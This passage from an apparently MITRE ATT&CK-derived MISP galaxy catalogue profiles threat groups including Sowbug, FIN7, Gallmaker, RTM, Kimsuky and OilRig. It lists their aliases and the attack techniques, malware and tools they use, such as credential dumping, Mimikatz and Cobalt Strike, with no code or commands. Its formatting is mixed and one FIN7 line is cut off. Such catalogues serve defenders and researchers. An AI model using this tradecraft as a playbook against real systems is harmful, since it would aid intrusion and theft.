• uses: misp-galaxy:mitre-attack-pattern="Remote Data Staging - T1074.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Clear Command History - T1070.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Domains - T1583.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="FYAnti - S0628" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"
• similar: misp-galaxy:threat-actor="APT10" with estimative-language:likelihood-probability="likely"
• uses: misp-galaxy:mitre-malware="PlugX - S0013" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="External Proxy - T1090.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="P8RAT - S0626" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="SodaMaster - S0627" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-tool="pwdump - S0006" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Trusted Relationship - T1199" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="Cobalt Strike - S0154" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Data from Network Shared Drive - T1039" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1055.012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Ping - S0097" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="cmd - S0106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rename System Utilities - T1036.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="esentutl - S0404" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="QuasarRAT - S0262" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="ChChes - S0144" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="AdFind - S0552" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="UPPERCUT - S0275" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"

*Table 6483. Table References*
Sowbug - G0054

[Sowbug](https://attack.mitre.org/groups/G0054) is a threat group that has conducted targeted attacks against organizations in South America and Southeast Asia, particularly government entities, since at least 2015. (Citation: Symantec Sowbug Nov 2017)

The tag is: `misp-galaxy:mitre-intrusion-set="Sowbug - G0054"

Sowbug - G0054 is also known as:

- Sowbug

View relationships graph

Sowbug - G0054 has relationships with:


- uses: `misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001"` with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="Felismus - S0171" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"

• similar: misp-galaxy:threat-actor="Sowbug" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="Starloader - S0188" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Network Shared Drive - T1039" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

Table 6484. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0054">https://attack.mitre.org/groups/G0054</a></td>
</tr>
</tbody>
</table>

FIN7 - G0046

[FIN7](https://attack.mitre.org/groups/G0046) is a financially-motivated threat group that has been active since 2013. [FIN7](https://attack.mitre.org/groups/G0046) has primarily targeted the retail, restaurant, hospitality, software, consulting, financial services, medical equipment, cloud services, media, food and beverage, transportation, and utilities industries in the U.S. A portion of [FIN7](https://attack.mitre.org/groups/G0046) was run out of a front company called Combi Security and often used point-of-sale malware for targeting efforts. Since 2020, [FIN7](https://attack.mitre.org/groups/G0046) shifted operations to a big game hunting (BGH) approach including use of [REvil](https://attack.mitre.org/software/S0496) ransomware and their own Ransomware as a Service (RaaS), Darkside. FIN7 may be linked to the [Carbanak](https://attack.mitre.org/groups/G0008) Group, but there appears to be several groups using [Carbanak](https://attack.mitre.org/software/S0030) malware and are therefore tracked separately.(Citation: FireEye FIN7 March 2017)(Citation: FireEye FIN7 April 2017)(Citation: FireEye CARBANAK June 2017)(Citation: FireEye FIN7 Aug 2018)(Citation: CrowdStrike Carbon Spider August 2021)(Citation: Mandiant FIN7 Apr 2022)
The tag is: misp-galaxy:mitre-intrusion-set="FIN7 - G0046"

FIN7 - G0046 is also known as:

- FIN7
- GOLD NIAGARA
- ITG14
- Carbon Spider

View relationships graph

FIN7 - G0046 has relationships with:

- similar: misp-galaxy:threat-actor="FIN7" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="VNC - T1021.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="GRIFFON - S0417" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="RDFSNIFFER - S0416" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="HALFBAKED - S0151" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="PowerSploit - S0194" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="POWERSOURCE - S0145" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with
estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Malware - T1587.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SSH - T1021.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Drive-by Target - T1608.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Upload Malware - T1608.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domains - T1583.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="TEXTMATE - S0146" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="BOOSTWRITE - S0415" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-
• uses: misp-galaxy:mitre-malware="Carbanak - S0030" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Web Services - T1583.006" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="SQLRat - S0390" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="User Activity Based Checks - T1497.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="Cobalt Strike - S0154" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="REvil - S0496" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Compromise Software Supply Chain - T1195.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="Pillowmint - S0517" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with
estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-tool="CrackMapExec - S0488" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Command Obfuscation - T1027.010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1558.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="JSS Loader - S0648" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="AdFind - S0552" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Lizar - S0681" with estimative-language:likelihood-probability="almost-certain"

Table 6485. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://blog.morphisec.com/fin7-attacks-restaurant-industry">http://blog.morphisec.com/fin7-attacks-restaurant-industry</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0046">https://attack.mitre.org/groups/G0046</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html">https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html">https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html</a></td>
</tr>
</tbody>
</table>
Gallmaker - G0084

[Gallmaker](https://attack.mitre.org/groups/G0084) is a cyberespionage group that has targeted victims in the Middle East and has been active since at least December 2017. The group has mainly targeted victims in the defense, military, and government sectors.(Citation: Symantec Gallmaker Oct 2018)

The tag is: `misp-galaxy:mitre-intrusion-set="Gallmaker - G0084"`

Gallmaker - G0084 is also known as:

- Gallmaker

View relationships graph

Gallmaker - G0084 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with estimative-language:likelihood-probability="almost-certain"

Table 6486. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0084">https://attack.mitre.org/groups/G0084</a></td>
</tr>
<tr>
<td><a href="https://www.symantec.com/blogs/threat-intelligence/gallmaker-attack-group">https://www.symantec.com/blogs/threat-intelligence/gallmaker-attack-group</a></td>
</tr>
</tbody>
</table>

RTM - G0048

[RTM](https://attack.mitre.org/groups/G0048) is a cybercriminal group that has been active since at
least 2015 and is primarily interested in users of remote banking systems in Russia and neighboring countries. The group uses a Trojan by the same name ([RTM](https://attack.mitre.org/software/S0148)). (Citation: ESET RTM Feb 2017)

The tag is: \textit{misp-galaxy:mitre-intrusion-set=“RTM - G0048”}

RTM - G0048 is also known as:

- RTM

View relationships graph

RTM - G0048 has relationships with:

- uses: \textit{misp-galaxy:mitre-attack-pattern=“Registry Run Keys / Startup Folder - T1547.001”} with estimative-language:likelihood-probability="almost-certain"
- uses: \textit{misp-galaxy:mitre-attack-pattern=“Dead Drop Resolver - T1102.001”} with estimative-language:likelihood-probability="almost-certain"

\textit{Table 6487. Table References}

\begin{tabular}{|l|}
\hline
\textbf{Links} \\
\hline
https://attack.mitre.org/groups/G0048 \\
\hline
\end{tabular}

\textbf{Kimsuky - G0094}

[Kimsuky](https://attack.mitre.org/groups/G0094) is a North Korea-based cyber espionage group that has been active since at least 2012. The group initially focused on targeting South Korean government entities, think tanks, and individuals identified as experts in various fields, and expanded its operations to include the United States, Russia, Europe, and the UN. [Kimsuky](https://attack.mitre.org/groups/G0094) has focused its intelligence collection activities on foreign policy and national security issues related to the Korean peninsula, nuclear policy, and sanctions. (Citation: EST Kimsuky April 2019)(Citation: BRI Kimsuky April 2019)(Citation:
Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)(Citation: CISA AA20-301A Kimsuky)

[Kimsuky](https://attack.mitre.org/groups/G0094) was assessed to be responsible for the 2014 Korea Hydro & Nuclear Power Co. compromise; other notable campaigns include Operation STOLEN PENCIL (2018), Operation Kabar Cobra (2019), and Operation Smoke Screen (2019).(Citation: Netscout Stolen Pencil Dec 2018)(Citation: EST Kimsuky SmokeScreen April 2019)(Citation: AhnLab Kimsuky Kabar Cobra Feb 2019)

North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups.

The tag is: *misp-galaxy:mitre-intrusion-set="Kimsuky - G0094"

Kimsuky - G0094 is also known as:

• Kimsuky
• STOLEN PENCIL
• Thallium
• Black Banshee
• Velvet Chollima

View relationships graph

Kimsuky - G0094 has relationships with:

• uses: *misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
• uses: *misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"
• uses: *misp-galaxy:mitre-attack-pattern="Adversary-in-the-Middle - T1557" with estimative-language:likelihood-probability="almost-certain"
• uses: *misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
• uses: *misp-galaxy:mitre-malware="NOKKI - S0353" with estimative-language:likelihood-probability="almost-certain"
• uses: *misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
• uses: *misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
• uses: *misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
• uses: *misp-galaxy:mitre-attack-pattern="Archive via Custom Method - T1560.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Search Victim-Owned Websites - T1594" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Malware - T1587.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="Brave Prince - S0252" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="AppleSeed - S0622" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1598.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"


• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Browser Extensions - T1176" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Email Accounts - T1586.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Upload Malware - T1608.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote Access Software - T1219" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Domains - T1583.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="CSPY Downloader - S0527" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Mail Protocols - T1071.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Server - T1583.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Email Accounts - T1585.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Email Addresses - T1589.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Search Engines - T1593.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Employee Names - T1589.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Email Forwarding Rule - T1114.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="KGH_SPY - S0526" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Change Default File Association - T1546.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Social Media Accounts - T1585.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1055.012" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Remote Email Collection - T1114.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="Gold Dragon - S0249" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Social Media - T1593.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-tool="schtasks - S0111" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Python - T1059.006" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="BabyShark - S0414" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Multi-Factor Authentication Interception - T1111" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Develop Capabilities - T1587" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Exploits - T1588.005" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Domains - T1584.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Local Accounts - T1078.003" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"

Table 6488. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/">https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0094">https://attack.mitre.org/groups/G0094</a></td>
</tr>
<tr>
<td><a href="https://blog.alyac.co.kr/2234">https://blog.alyac.co.kr/2234</a></td>
</tr>
<tr>
<td><a href="https://blog.alyac.co.kr/attachment/cfile5.uf@99A0CD415CB67E210DCEB3.pdf">https://blog.alyac.co.kr/attachment/cfile5.uf@99A0CD415CB67E210DCEB3.pdf</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/">https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/</a></td>
</tr>
<tr>
<td><a href="https://threatconnect.com/blog/kimsuky-phishing-operations-putting-in-work/">https://threatconnect.com/blog/kimsuky-phishing-operations-putting-in-work/</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/alerts/aa20-301a">https://us-cert.cisa.gov/ncas/alerts/aa20-301a</a></td>
</tr>
<tr>
<td><a href="https://www.zdnet.com/article/cyber-espionage-group-uses-chrome-extension-to-infect-victims/">https://www.zdnet.com/article/cyber-espionage-group-uses-chrome-extension-to-infect-victims/</a></td>
</tr>
</tbody>
</table>
OilRig - G0049

[OilRig](https://attack.mitre.org/groups/G0049) is a suspected Iranian threat group that has targeted Middle Eastern and international victims since at least 2014. The group has targeted a variety of sectors, including financial, government, energy, chemical, and telecommunications. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests.(Citation: Palo Alto OilRig April 2017)(Citation: ClearSky OilRig Jan 2017)(Citation: Palo Alto OilRig May 2016)(Citation: Palo Alto OilRig Oct 2016)(Citation: Unit42 OilRig Playbook 2023)(Citation: FireEye APT34 Dec 2017)(Citation: Unit 42 QUADAGENT July 2018)

The tag is: misp-galaxy:mitre-intrusion-set="OilRig - G0049"

OilRig - G0049 is also known as:

- OilRig
- COBALT GYPSY
- IRN2
- APT34
- Helix Kitten
- Evasive Serpens

View relationships graph

OilRig - G0049 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
